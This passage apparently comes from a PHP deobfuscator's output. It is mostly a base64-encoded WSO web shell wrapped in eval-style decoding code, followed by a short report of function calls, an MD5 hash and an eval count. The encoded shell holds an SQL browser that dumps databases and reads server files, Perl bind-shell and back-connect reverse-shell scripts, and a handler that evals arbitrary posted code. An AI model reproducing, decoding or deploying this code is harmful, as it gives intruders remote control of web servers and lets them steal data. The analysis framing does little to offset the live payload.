lIGVjaG8oIjtcblxuIik7IGJyZWFrOyBjYXNlICdwZ3NxbCc6ICR0aGlzLT5xdWVyeSgnU0VMRUNUICogRlJPTSAnLiR0YWJsZSk7IHdoaWxlKCRpdGVtID0gJHRoaXMtPmZldGNoKCkpIHsgJGNvbHVtbnMgPSBhcnJheSgpOyBmb3JlYWNoKCRpdGVtIGFzICRrPT4kdikgeyAkaXRlbVska10gPSAiJyIuYWRkc2xhc2hlcygkdikuIiciOyAkY29sdW1uc1tdID0gJGs7IH0gJHNxbCA9ICdJTlNFUlQgSU5UTyAnLiR0YWJsZS4nICgnLmltcGxvZGUoIiwgIiwgJGNvbHVtbnMpLicpIFZBTFVFUyAoJy5pbXBsb2RlKCIsICIsICRpdGVtKS4nKTsnLiJcbiI7IGlmKCRmcCkgZndyaXRlKCRmcCwgJHNxbCk7IGVsc2UgZWNobygkc3FsKTsgfSBicmVhazsgfSByZXR1cm4gZmFsc2U7IH0gfTsgJGRiID0gbmV3IERiQ2xhc3MoJF9QT1NUWyd0eXBlJ10pOyBpZigoQCRfUE9TVFsncDInXT09J2Rvd25sb2FkJykgJiYgKEAkX1BPU1RbJ3AxJ10hPSdzZWxlY3QnKSkgeyAkZGItPmNvbm5lY3QoJF9QT1NUWydzcWxfaG9zdCddLCAkX1BPU1RbJ3NxbF9sb2dpbiddLCAkX1BPU1RbJ3NxbF9wYXNzJ10sICRfUE9TVFsnc3FsX2Jhc2UnXSk7ICRkYi0+c2VsZWN0ZGIoJF9QT1NUWydzcWxfYmFzZSddKTsgc3dpdGNoKCRfUE9TVFsnY2hhcnNldCddKSB7IGNhc2UgIldpbmRvd3MtMTI1MSI6ICRkYi0+c2V0Q2hhcnNldCgnY3AxMjUxJyk7IGJyZWFrOyBjYXNlICJVVEYtOCI6ICRkYi0+c2V0Q2hhcnNldCgndXRmOCcpOyBicmVhazsgY2FzZSAiS09JOC1SIjogJGRiLT5zZXRDaGFyc2V0KCdrb2k4cicpOyBicmVhazsgY2FzZSAiS09JOC1VIjogJGRiLT5zZXRDaGFyc2V0KCdrb2k4dScpOyBicmVhazsgY2FzZSAiY3A4NjYiOiAkZGItPnNldENoYXJzZXQoJ2NwODY2Jyk7IGJyZWFrOyB9IGlmKGVtcHR5KCRfUE9TVFsnZmlsZSddKSkgeyBvYl9zdGFydCgib2JfZ3poYW5kbGVyIiwgNDA5Nik7IGhlYWRlcigiQ29udGVudC1EaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9ZHVtcC5zcWwiKTsgaGVhZGVyKCJDb250ZW50LVR5cGU6IHRleHQvcGxhaW4iKTsgZm9yZWFjaCgkX1BPU1RbJ3RibCddIGFzICR2KSAkZGItPmR1bXAoJHYpOyBleGl0OyB9IGVsc2VpZigkZnAgPSBAZm9wZW4oJF9QT1NUWydmaWxlJ10sICd3JykpIHsgZm9yZWFjaCgkX1BPU1RbJ3RibCddIGFzICR2KSAkZGItPmR1bXAoJHYsICRmcCk7IGZjbG9zZSgkZnApOyB1bnNldCgkX1BPU1RbJ3AyJ10pOyB9IGVsc2UgZGllKCc8c2NyaXB0PmFsZXJ0KCJFcnJvciEgQ2FuXCd0IG9wZW4gZmlsZSIpO3dpbmRvdy5oaXN0b3J5LmJhY2soLTEpPC9zY3JpcHQ+Jyk7IH0gd3NvSGVhZGVyKCk7IGVjaG8gIgo8aDE+U3FsIGJyb3dzZXI8L2gxPjxkaXYgY2xhc3M9Y29udGVudD4KPGZvcm0gbmFtZT0nc2YnIG1ldGhvZD0ncG9zdCcgb25zdWJtaXQ9J2ZzKHRoaXMpOyc+PHRhYmxlIGNlbGxwYWRkaW5nPScyJyBjZWxsc3BhY2luZz0nMCc+PHRyPgo8dGQ+VHlwZTwvdGQ+PHRkPkhvc3Q8L3RkPjx0ZD5Mb2dpbjwvdGQ+PHRkPlBhc3N3b3JkPC90ZD48dGQ+RGF0YWJhc2U8L3RkPjx0ZD48L3RkPjwvdHI+PHRyPgo8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hIHZhbHVlPVNxbD48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1wMSB2YWx1ZT0ncXVlcnknPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPXAyIHZhbHVlPScnPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWMgdmFsdWU9JyIuIGh0bWxzcGVjaWFsY2hhcnMoJEdMT0JBTFNbJ2N3ZCddKSAuIic+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9Y2hhcnNldCB2YWx1ZT0nIi4gKGlzc2V0KCRfUE9TVFsnY2hhcnNldCddKT8kX1BPU1RbJ2NoYXJzZXQnXTonJykgLiInPgo8dGQ+PHNlbGVjdCBuYW1lPSd0eXBlJz48b3B0aW9uIHZhbHVlPSdteXNxbCcgIjsgaWYoQCRfUE9TVFsndHlwZSddPT0nbXlzcWwnKWVjaG8gJ3NlbGVjdGVkJzsgZWNobyAiPk15U3FsPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0ncGdzcWwnICI7IGlmKEAkX1BPU1RbJ3R5cGUnXT09J3Bnc3FsJyllY2hvICdzZWxlY3RlZCc7IGVjaG8gIj5Qb3N0Z3JlU3FsPC9vcHRpb24+PC9zZWxlY3Q+PC90ZD4KPHRkPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1zcWxfaG9zdCB2YWx1ZT1cIiIuIChlbXB0eSgkX1BPU1RbJ3NxbF9ob3N0J10pPydsb2NhbGhvc3QnOmh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydzcWxfaG9zdCddKSkgLiJcIj48L3RkPgo8dGQ+PGlucHV0IHR5cGU9dGV4dCBuYW1lPXNxbF9sb2dpbiB2YWx1ZT1cIiIuIChlbXB0eSgkX1BPU1RbJ3NxbF9sb2dpbiddKT8ncm9vdCc6aHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3NxbF9sb2dpbiddKSkgLiJcIj48L3RkPgo8dGQ+PGlucHV0IHR5cGU9dGV4dCBuYW1lPXNxbF9wYXNzIHZhbHVlPVwiIi4gKGVtcHR5KCRfUE9TVFsnc3FsX3Bhc3MnXSk/Jyc6aHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3NxbF9wYXNzJ10pKSAuIlwiPjwvdGQ+PHRkPiI7ICR0bXAgPSAiPGlucHV0IHR5cGU9dGV4dCBuYW1lPXNxbF9iYXNlIHZhbHVlPScnPiI7IGlmKGlzc2V0KCRfUE9TVFsnc3FsX2hvc3QnXSkpeyBpZigkZGItPmNvbm5lY3QoJF9QT1NUWydzcWxfaG9zdCddLCAkX1BPU1RbJ3NxbF9sb2dpbiddLCAkX1BPU1RbJ3NxbF9wYXNzJ10sICRfUE9TVFsnc3FsX2Jhc2UnXSkpIHsgc3dpdGNoKCRfUE9TVFsnY2hhcnNldCddKSB7IGNhc2UgIldpbmRvd3MtMTI1MSI6ICRkYi0+c2V0Q2hhcnNldCgnY3AxMjUxJyk7IGJyZWFrOyBjYXNlICJVVEYtOCI6ICRkYi0+c2V0Q2hhcnNldCgndXRmOCcpOyBicmVhazsgY2FzZSAiS09JOC1SIjogJGRiLT5zZXRDaGFyc2V0KCdrb2k4cicpOyBicmVhazsgY2FzZSAiS09JOC1VIjogJGRiLT5zZXRDaGFyc2V0KCdrb2k4dScpOyBicmVhazsgY2FzZSAiY3A4NjYiOiAkZGItPnNldENoYXJzZXQoJ2NwODY2Jyk7IGJyZWFrOyB9ICRkYi0+bGlzdERicygpOyBlY2hvICI8c2VsZWN0IG5hbWU9c3FsX2Jhc2U+PG9wdGlvbiB2YWx1ZT0nJz48L29wdGlvbj4iOyB3aGlsZSgkaXRlbSA9ICRkYi0+ZmV0Y2goKSkgeyBsaXN0KCRrZXksICR2YWx1ZSkgPSBlYWNoKCRpdGVtKTsgZWNobyAnPG9wdGlvbiB2YWx1ZT0iJy4kdmFsdWUuJyIgJy4oJHZhbHVlPT0kX1BPU1RbJ3NxbF9iYXNlJ10/J3NlbGVjdGVkJzonJykuJz4nLiR2YWx1ZS4nPC9vcHRpb24+JzsgfSBlY2hvICc8L3NlbGVjdD4nOyB9IGVsc2UgZWNobyAkdG1wOyB9ZWxzZSBlY2hvICR0bXA7IGVjaG8gIjwvdGQ+CgkJCQk8dGQ+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSc+Picgb25jbGljaz0nZnMoZC5zZik7Jz48L3RkPgogICAgICAgICAgICAgICAgPHRkPjxpbnB1dCB0eXBlPWNoZWNrYm94IG5hbWU9c3FsX2NvdW50IHZhbHVlPSdvbiciIC4gKGVtcHR5KCRfUE9TVFsnc3FsX2NvdW50J10pPycnOicgY2hlY2tlZCcpIC4gIj4gY291bnQgdGhlIG51bWJlciBvZiByb3dzPC90ZD4KCQkJPC90cj4KCQk8L3RhYmxlPgoJCTxzY3JpcHQ+CiAgICAgICAgICAgIHNfZGI9JyIuQGFkZHNsYXNoZXMoJF9QT1NUWydzcWxfYmFzZSddKS4iJzsKICAgICAgICAgICAgZnVuY3Rpb24gZnMoZikgewogICAgICAgICAgICAgICAgaWYoZi5zcWxfYmFzZS52YWx1ZSE9c19kYikgeyBmLm9uc3VibWl0ID0gZnVuY3Rpb24oKSB7fTsKICAgICAgICAgICAgICAgICAgICBpZihmLnAxKSBmLnAxLnZhbHVlPScnOwogICAgICAgICAgICAgICAgICAgIGlmKGYucDIpIGYucDIudmFsdWU9Jyc7CiAgICAgICAgICAgICAgICAgICAgaWYoZi5wMykgZi5wMy52YWx1ZT0nJzsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQoJCQlmdW5jdGlvbiBzdCh0LGwpIHsKCQkJCWQuc2YucDEudmFsdWUgPSAnc2VsZWN0JzsKCQkJCWQuc2YucDIudmFsdWUgPSB0OwogICAgICAgICAgICAgICAgaWYobCAmJiBkLnNmLnAzKSBkLnNmLnAzLnZhbHVlID0gbDsKCQkJCWQuc2Yuc3VibWl0KCk7CgkJCX0KCQkJZnVuY3Rpb24gaXMoKSB7CgkJCQlmb3IoaT0wO2k8ZC5zZi5lbGVtZW50c1sndGJsW10nXS5sZW5ndGg7KytpKQoJCQkJCWQuc2YuZWxlbWVudHNbJ3RibFtdJ11baV0uY2hlY2tlZCA9ICFkLnNmLmVsZW1lbnRzWyd0YmxbXSddW2ldLmNoZWNrZWQ7CgkJCX0KCQk8L3NjcmlwdD4iOyBpZihpc3NldCgkZGIpICYmICRkYi0+bGluayl7IGVjaG8gIjxici8+PHRhYmxlIHdpZHRoPTEwMCUgY2VsbHBhZGRpbmc9MiBjZWxsc3BhY2luZz0wPiI7IGlmKCFlbXB0eSgkX1BPU1RbJ3NxbF9iYXNlJ10pKXsgJGRiLT5zZWxlY3RkYigkX1BPU1RbJ3NxbF9iYXNlJ10pOyBlY2hvICI8dHI+PHRkIHdpZHRoPTEgc3R5bGU9J2JvcmRlci10b3A6MnB4IHNvbGlkICM2NjY7Jz48c3Bhbj5UYWJsZXM6PC9zcGFuPjxicj48YnI+IjsgJHRibHNfcmVzID0gJGRiLT5saXN0VGFibGVzKCk7IHdoaWxlKCRpdGVtID0gJGRiLT5mZXRjaCgkdGJsc19yZXMpKSB7IGxpc3QoJGtleSwgJHZhbHVlKSA9IGVhY2goJGl0ZW0pOyBpZighZW1wdHkoJF9QT1NUWydzcWxfY291bnQnXSkpICRuID0gJGRiLT5mZXRjaCgkZGItPnF1ZXJ5KCdTRUxFQ1QgQ09VTlQoKikgYXMgbiBGUk9NICcuJHZhbHVlLicnKSk7ICR2YWx1ZSA9IGh0bWxzcGVjaWFsY2hhcnMoJHZhbHVlKTsgZWNobyAiPG5vYnI+PGlucHV0IHR5cGU9J2NoZWNrYm94JyBuYW1lPSd0YmxbXScgdmFsdWU9JyIuJHZhbHVlLiInPiZuYnNwOzxhIGhyZWY9IyBvbmNsaWNrPVwic3QoJyIuJHZhbHVlLiInLDEpXCI+Ii4kdmFsdWUuIjwvYT4iIC4gKGVtcHR5KCRfUE9TVFsnc3FsX2NvdW50J10pPycmbmJzcDsnOiIgPHNtYWxsPih7JG5bJ24nXX0pPC9zbWFsbD4iKSAuICI8L25vYnI+PGJyPiI7IH0gZWNobyAiPGlucHV0IHR5cGU9J2NoZWNrYm94JyBvbmNsaWNrPSdpcygpOyc+IDxpbnB1dCB0eXBlPWJ1dHRvbiB2YWx1ZT0nRHVtcCcgb25jbGljaz0nZG9jdW1lbnQuc2YucDIudmFsdWU9XCJkb3dubG9hZFwiO2RvY3VtZW50LnNmLnN1Ym1pdCgpOyc+PGJyPkZpbGUgcGF0aDo8aW5wdXQgdHlwZT10ZXh0IG5hbWU9ZmlsZSB2YWx1ZT0nZHVtcC5zcWwnPjwvdGQ+PHRkIHN0eWxlPSdib3JkZXItdG9wOjJweCBzb2xpZCAjNjY2Oyc+IjsgaWYoQCRfUE9TVFsncDEnXSA9PSAnc2VsZWN0JykgeyAkX1BPU1RbJ3AxJ10gPSAncXVlcnknOyAkX1BPU1RbJ3AzJ10gPSAkX1BPU1RbJ3AzJ10/JF9QT1NUWydwMyddOjE7ICRkYi0+cXVlcnkoJ1NFTEVDVCBDT1VOVCgqKSBhcyBuIEZST00gJyAuICRfUE9TVFsncDInXSk7ICRudW0gPSAkZGItPmZldGNoKCk7ICRwYWdlcyA9IGNlaWwoJG51bVsnbiddIC8gMzApOyBlY2hvICI8c2NyaXB0PmQuc2Yub25zdWJtaXQ9ZnVuY3Rpb24oKXtzdChcIiIgLiAkX1BPU1RbJ3AyJ10gLiAiXCIsIGQuc2YucDMudmFsdWUpfTwvc2NyaXB0PjxzcGFuPiIuJF9QT1NUWydwMiddLiI8L3NwYW4+ICh7JG51bVsnbiddfSByZWNvcmRzKSBQYWdlICMgPGlucHV0IHR5cGU9dGV4dCBuYW1lPSdwMycgdmFsdWU9IiAuICgoaW50KSRfUE9TVFsncDMnXSkgLiAiPiI7IGVjaG8gIiBvZiAkcGFnZXMiOyBpZigkX1BPU1RbJ3AzJ10gPiAxKSBlY2hvICIgPGEgaHJlZj0jIG9uY2xpY2s9J3N0KFwiIiAuICRfUE9TVFsncDInXSAuICciLCAnIC4gKCRfUE9TVFsncDMnXS0xKSAuICIpJz4mbHQ7IFByZXY8L2E+IjsgaWYoJF9QT1NUWydwMyddIDwgJHBhZ2VzKSBlY2hvICIgPGEgaHJlZj0jIG9uY2xpY2s9J3N0KFwiIiAuICRfUE9TVFsncDInXSAuICciLCAnIC4gKCRfUE9TVFsncDMnXSsxKSAuICIpJz5OZXh0ICZndDs8L2E+IjsgJF9QT1NUWydwMyddLS07IGlmKCRfUE9TVFsndHlwZSddPT0ncGdzcWwnKSAkX1BPU1RbJ3AyJ10gPSAnU0VMRUNUICogRlJPTSAnLiRfUE9TVFsncDInXS4nIExJTUlUIDMwIE9GRlNFVCAnLigkX1BPU1RbJ3AzJ10qMzApOyBlbHNlICRfUE9TVFsncDInXSA9ICdTRUxFQ1QgKiBGUk9NIGAnLiRfUE9TVFsncDInXS4nYCBMSU1JVCAnLigkX1BPU1RbJ3AzJ10qMzApLicsMzAnOyBlY2hvICI8YnI+PGJyPiI7IH0gaWYoKEAkX1BPU1RbJ3AxJ10gPT0gJ3F1ZXJ5JykgJiYgIWVtcHR5KCRfUE9TVFsncDInXSkpIHsgJGRiLT5xdWVyeShAJF9QT1NUWydwMiddKTsgaWYoJGRiLT5yZXMgIT09IGZhbHNlKSB7ICR0aXRsZSA9IGZhbHNlOyBlY2hvICc8dGFibGUgd2lkdGg9MTAwJSBjZWxsc3BhY2luZz0xIGNlbGxwYWRkaW5nPTIgY2xhc3M9bWFpbiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjojMjkyOTI5Ij4nOyAkbGluZSA9IDE7IHdoaWxlKCRpdGVtID0gJGRiLT5mZXRjaCgpKSB7IGlmKCEkdGl0bGUpIHsgZWNobyAnPHRyPic7IGZvcmVhY2goJGl0ZW0gYXMgJGtleSA9PiAkdmFsdWUpIGVjaG8gJzx0aD4nLiRrZXkuJzwvdGg+JzsgcmVzZXQoJGl0ZW0pOyAkdGl0bGU9dHJ1ZTsgZWNobyAnPC90cj48dHI+JzsgJGxpbmUgPSAyOyB9IGVjaG8gJzx0ciBjbGFzcz0ibCcuJGxpbmUuJyI+JzsgJGxpbmUgPSAkbGluZT09MT8yOjE7IGZvcmVhY2goJGl0ZW0gYXMgJGtleSA9PiAkdmFsdWUpIHsgaWYoJHZhbHVlID09IG51bGwpIGVjaG8gJzx0ZD48aT5udWxsPC9pPjwvdGQ+JzsgZWxzZSBlY2hvICc8dGQ+Jy5ubDJicihodG1sc3BlY2lhbGNoYXJzKCR2YWx1ZSkpLic8L3RkPic7IH0gZWNobyAnPC90cj4nOyB9IGVjaG8gJzwvdGFibGU+JzsgfSBlbHNlIHsgZWNobyAnPGRpdj48Yj5FcnJvcjo8L2I+ICcuaHRtbHNwZWNpYWxjaGFycygkZGItPmVycm9yKCkpLic8L2Rpdj4nOyB9IH0gZWNobyAiPGJyPjwvZm9ybT48Zm9ybSBvbnN1Ym1pdD0nZC5zZi5wMS52YWx1ZT1cInF1ZXJ5XCI7ZC5zZi5wMi52YWx1ZT10aGlzLnF1ZXJ5LnZhbHVlO2RvY3VtZW50LnNmLnN1Ym1pdCgpO3JldHVybiBmYWxzZTsnPjx0ZXh0YXJlYSBuYW1lPSdxdWVyeScgc3R5bGU9J3dpZHRoOjEwMCU7aGVpZ2h0OjEwMHB4Jz4iOyBpZighZW1wdHkoJF9QT1NUWydwMiddKSAmJiAoJF9QT1NUWydwMSddICE9ICdsb2FkZmlsZScpKSBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydwMiddKTsgZWNobyAiPC90ZXh0YXJlYT48YnIvPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nRXhlY3V0ZSc+IjsgZWNobyAiPC90ZD48L3RyPiI7IH0gZWNobyAiPC90YWJsZT48L2Zvcm0+PGJyLz4iOyBpZigkX1BPU1RbJ3R5cGUnXT09J215c3FsJykgeyAkZGItPnF1ZXJ5KCJTRUxFQ1QgMSBGUk9NIG15c3FsLnVzZXIgV0hFUkUgY29uY2F0KGB1c2VyYCwgJ0AnLCBgaG9zdGApID0gVVNFUigpIEFORCBgRmlsZV9wcml2YCA9ICd5JyIpOyBpZigkZGItPmZldGNoKCkpIGVjaG8gIjxmb3JtIG9uc3VibWl0PSdkLnNmLnAxLnZhbHVlPVwibG9hZGZpbGVcIjtkb2N1bWVudC5zZi5wMi52YWx1ZT10aGlzLmYudmFsdWU7ZG9jdW1lbnQuc2Yuc3VibWl0KCk7cmV0dXJuIGZhbHNlOyc+PHNwYW4+TG9hZCBmaWxlPC9zcGFuPiA8aW5wdXQgIGNsYXNzPSd0b29sc0lucCcgdHlwZT10ZXh0IG5hbWU9Zj48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Jz4+Jz48L2Zvcm0+IjsgfSBpZihAJF9QT1NUWydwMSddID09ICdsb2FkZmlsZScpIHsgJGZpbGUgPSAkZGItPmxvYWRGaWxlKCRfUE9TVFsncDInXSk7IGVjaG8gJzxici8+PHByZSBjbGFzcz1tbDE+Jy5odG1sc3BlY2lhbGNoYXJzKCRmaWxlWydmaWxlJ10pLic8L3ByZT4nOyB9IH0gZWxzZSB7IGVjaG8gaHRtbHNwZWNpYWxjaGFycygkZGItPmVycm9yKCkpOyB9IGVjaG8gJzwvZGl2Pic7IHdzb0Zvb3RlcigpOyB9IGZ1bmN0aW9uIGFjdGlvbk5ldHdvcmsoKSB7IHdzb0hlYWRlcigpOyAkYmFja19jb25uZWN0X3A9Ikl5RXZkWE55TDJKcGJpOXdaWEpzRFFwMWMyVWdVMjlqYTJWME93MEtKR2xoWkdSeVBXbHVaWFJmWVhSdmJpZ2tRVkpIVmxzd1hTa2dmSHdnWkdsbEtDSkZjbkp2Y2pvZ0pDRmNiaUlwT3cwS0pIQmhaR1J5UFhOdlkydGhaR1J5WDJsdUtDUkJVa2RXV3pGZExDQWthV0ZrWkhJcElIeDhJR1JwWlNnaVJYSnliM0k2SUNRaFhHNGlLVHNOQ2lSd2NtOTBiejFuWlhSd2NtOTBiMko1Ym1GdFpTZ25kR053SnlrN0RRcHpiMk5yWlhRb1UwOURTMFZVTENCUVJsOUpUa1ZVTENCVFQwTkxYMU5VVWtWQlRTd2dKSEJ5YjNSdktTQjhmQ0JrYVdVb0lrVnljbTl5T2lBa0lWeHVJaWs3RFFwamIyNXVaV04wS0ZOUFEwdEZWQ3dnSkhCaFpHUnlLU0I4ZkNCa2FXVW9Ja1Z5Y205eU9pQWtJVnh1SWlrN0RRcHZjR1Z1S0ZOVVJFbE9MQ0FpUGlaVFQwTkxSVlFpS1RzTkNtOXdaVzRvVTFSRVQxVlVMQ0FpUGlaVFQwTkxSVlFpS1RzTkNtOXdaVzRvVTFSRVJWSlNMQ0FpUGlaVFQwTkxSVlFpS1RzTkNuTjVjM1JsYlNnbkwySnBiaTl6YUNBdGFTY3BPdzBLWTJ4dmMyVW9VMVJFU1U0cE93MEtZMnh2YzJVb1UxUkVUMVZVS1RzTkNtTnNiM05sS0ZOVVJFVlNVaWs3IjsgJGJpbmRfcG9ydF9wPSJJeUV2ZFhOeUwySnBiaTl3WlhKc0RRb2tVMGhGVEV3OUlpOWlhVzR2YzJnZ0xXa2lPdzBLYVdZZ0tFQkJVa2RXSUR3Z01Ta2dleUJsZUdsMEtERXBPeUI5RFFwMWMyVWdVMjlqYTJWME93MEtjMjlqYTJWMEtGTXNKbEJHWDBsT1JWUXNKbE5QUTB0ZlUxUlNSVUZOTEdkbGRIQnliM1J2WW5sdVlXMWxLQ2QwWTNBbktTa2dmSHdnWkdsbElDSkRZVzUwSUdOeVpXRjBaU0J6YjJOclpYUmNiaUk3RFFwelpYUnpiMk5yYjNCMEtGTXNVMDlNWDFOUFEwdEZWQ3hUVDE5U1JWVlRSVUZFUkZJc01TazdEUXBpYVc1a0tGTXNjMjlqYTJGa1pISmZhVzRvSkVGU1IxWmJNRjBzU1U1QlJFUlNYMEZPV1NrcElIeDhJR1JwWlNBaVEyRnVkQ0J2Y0dWdUlIQnZjblJjYmlJN0RRcHNhWE4wWlc0b1V5d3pLU0I4ZkNCa2FXVWdJa05oYm5RZ2JHbHpkR1Z1SUhCdmNuUmNiaUk3RFFwM2FHbHNaU2d4S1NCN0RRb0pZV05qWlhCMEtFTlBUazRzVXlrN0RRb0phV1lvSVNna2NHbGtQV1p2Y21zcEtTQjdEUW9KQ1dScFpTQWlRMkZ1Ym05MElHWnZjbXNpSUdsbUlDZ2haR1ZtYVc1bFpDQWtjR2xrS1RzTkNna0piM0JsYmlCVFZFUkpUaXdpUENaRFQwNU9JanNOQ2drSmIzQmxiaUJUVkVSUFZWUXNJajRtUTA5T1RpSTdEUW9KQ1c5d1pXNGdVMVJFUlZKU0xDSStKa05QVGs0aU93MEtDUWxsZUdWaklDUlRTRVZNVENCOGZDQmthV1VnY0hKcGJuUWdRMDlPVGlBaVEyRnVkQ0JsZUdWamRYUmxJQ1JUU0VWTVRGeHVJanNOQ2drSlkyeHZjMlVnUTA5T1Rqc05DZ2tKWlhocGRDQXdPdzBLQ1gwTkNuMD0iOyBlY2hvICI8aDE+TmV0d29yayB0b29sczwvaDE+PGRpdiBjbGFzcz1jb250ZW50PgoJPGZvcm0gbmFtZT0nbmZwJyBvblN1Ym1pdD1cImcobnVsbCxudWxsLCdicHAnLHRoaXMucG9ydC52YWx1ZSk7cmV0dXJuIGZhbHNlO1wiPgoJPHNwYW4+QmluZCBwb3J0IHRvIC9iaW4vc2ggW3BlcmxdPC9zcGFuPjxici8+CglQb3J0OiA8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0ncG9ydCcgdmFsdWU9JzMxMzM3Jz4gPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSc+Pic+Cgk8L2Zvcm0+Cgk8Zm9ybSBuYW1lPSduZnAnIG9uU3VibWl0PVwiZyhudWxsLG51bGwsJ2JjcCcsdGhpcy5zZXJ2ZXIudmFsdWUsdGhpcy5wb3J0LnZhbHVlKTtyZXR1cm4gZmFsc2U7XCI+Cgk8c3Bhbj5CYWNrLWNvbm5lY3QgIFtwZXJsXTwvc3Bhbj48YnIvPgoJU2VydmVyOiA8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0nc2VydmVyJyB2YWx1ZT0nIi4gJF9TRVJWRVJbJ1JFTU9URV9BRERSJ10gLiInPiBQb3J0OiA8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0ncG9ydCcgdmFsdWU9JzMxMzM3Jz4gPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSc+Pic+Cgk8L2Zvcm0+PGJyPiI7IGlmKGlzc2V0KCRfUE9TVFsncDEnXSkpIHsgZnVuY3Rpb24gY2YoJGYsJHQpIHsgJHcgPSBAZm9wZW4oJGYsInciKSBvciBAZnVuY3Rpb25fZXhpc3RzKCdmaWxlX3B1dF9jb250ZW50cycpOyBpZigkdyl7IEBmd3JpdGUoJHcsQGJhc2U2NF9kZWNvZGUoJHQpKTsgQGZjbG9zZSgkdyk7IH0gfSBpZigkX1BPU1RbJ3AxJ10gPT0gJ2JwcCcpIHsgY2YoIi90bXAvYnAucGwiLCRiaW5kX3BvcnRfcCk7ICRvdXQgPSB3c29FeCgicGVybCAvdG1wL2JwLnBsICIuJF9QT1NUWydwMiddLiIgMT4vZGV2L251bGwgMj4mMSAmIik7IHNsZWVwKDEpOyBlY2hvICI8cHJlIGNsYXNzPW1sMT4kb3V0XG4iLndzb0V4KCJwcyBhdXggfCBncmVwIGJwLnBsIikuIjwvcHJlPiI7IHVubGluaygiL3RtcC9icC5wbCIpOyB9IGlmKCRfUE9TVFsncDEnXSA9PSAnYmNwJykgeyBjZigiL3RtcC9iYy5wbCIsJGJhY2tfY29ubmVjdF9wKTsgJG91dCA9IHdzb0V4KCJwZXJsIC90bXAvYmMucGwgIi4kX1BPU1RbJ3AyJ10uIiAiLiRfUE9TVFsncDMnXS4iIDE+L2Rldi9udWxsIDI+JjEgJiIpOyBzbGVlcCgxKTsgZWNobyAiPHByZSBjbGFzcz1tbDE+JG91dFxuIi53c29FeCgicHMgYXV4IHwgZ3JlcCBiYy5wbCIpLiI8L3ByZT4iOyB1bmxpbmsoIi90bXAvYmMucGwiKTsgfSB9IGVjaG8gJzwvZGl2Pic7IHdzb0Zvb3RlcigpOyB9IGZ1bmN0aW9uIGFjdGlvblJDKCkgeyBpZighQCRfUE9TVFsncDEnXSkgeyAkYSA9IGFycmF5KCAidW5hbWUiID0+IHBocF91bmFtZSgpLCAicGhwX3ZlcnNpb24iID0+IHBocHZlcnNpb24oKSwgIndzb192ZXJzaW9uIiA9PiBXU09fVkVSU0lPTiwgInNhZmVtb2RlIiA9PiBAaW5pX2dldCgnc2FmZV9tb2RlJykgKTsgZWNobyBzZXJpYWxpemUoJGEpOyB9IGVsc2UgeyBldmFsKCRfUE9TVFsncDEnXSk7IH0gfSBpZiggZW1wdHkoJF9QT1NUWydhJ10pICkgaWYoaXNzZXQoJGRlZmF1bHRfYWN0aW9uKSAmJiBmdW5jdGlvbl9leGlzdHMoJ2FjdGlvbicgLiAkZGVmYXVsdF9hY3Rpb24pKSAkX1BPU1RbJ2EnXSA9ICRkZWZhdWx0X2FjdGlvbjsgZWxzZSAkX1BPU1RbJ2EnXSA9ICdTZWNJbmZvJzsgaWYoICFlbXB0eSgkX1BPU1RbJ2EnXSkgJiYgZnVuY3Rpb25fZXhpc3RzKCdhY3Rpb24nIC4gJF9QT1NUWydhJ10pICkgY2FsbF91c2VyX2Z1bmMoJ2FjdGlvbicgLiAkX1BPU1RbJ2EnXSk7IGV4aXQ7'\x2c\x66\x75\x6e\x63\x5f\x65\x32\x33\x36\x38\x30\x37\x39\x36\x66\x38\x66\x35\x64\x61\x66\x66\x38\x66\x33\x34\x36\x33\x38\x30\x35\x30\x64\x64\x61\x39\x64\x28\x29\x29\x29\x3b");
    exit;
}

Function Calls

mb_substr 1
base64_decode 1
php_zencoding 1
function_exists 1

Variables

$data aWYgKGZ1bmSgN0aW9uX2V4aXN0cygnZnVuY19kNmNlYTk2NTUzZWZkNmNmMD..

Stats

MD5 3d806d9ab14fd5a118e4a84dbf8355fd
Eval Count 3
Decode Time 925 ms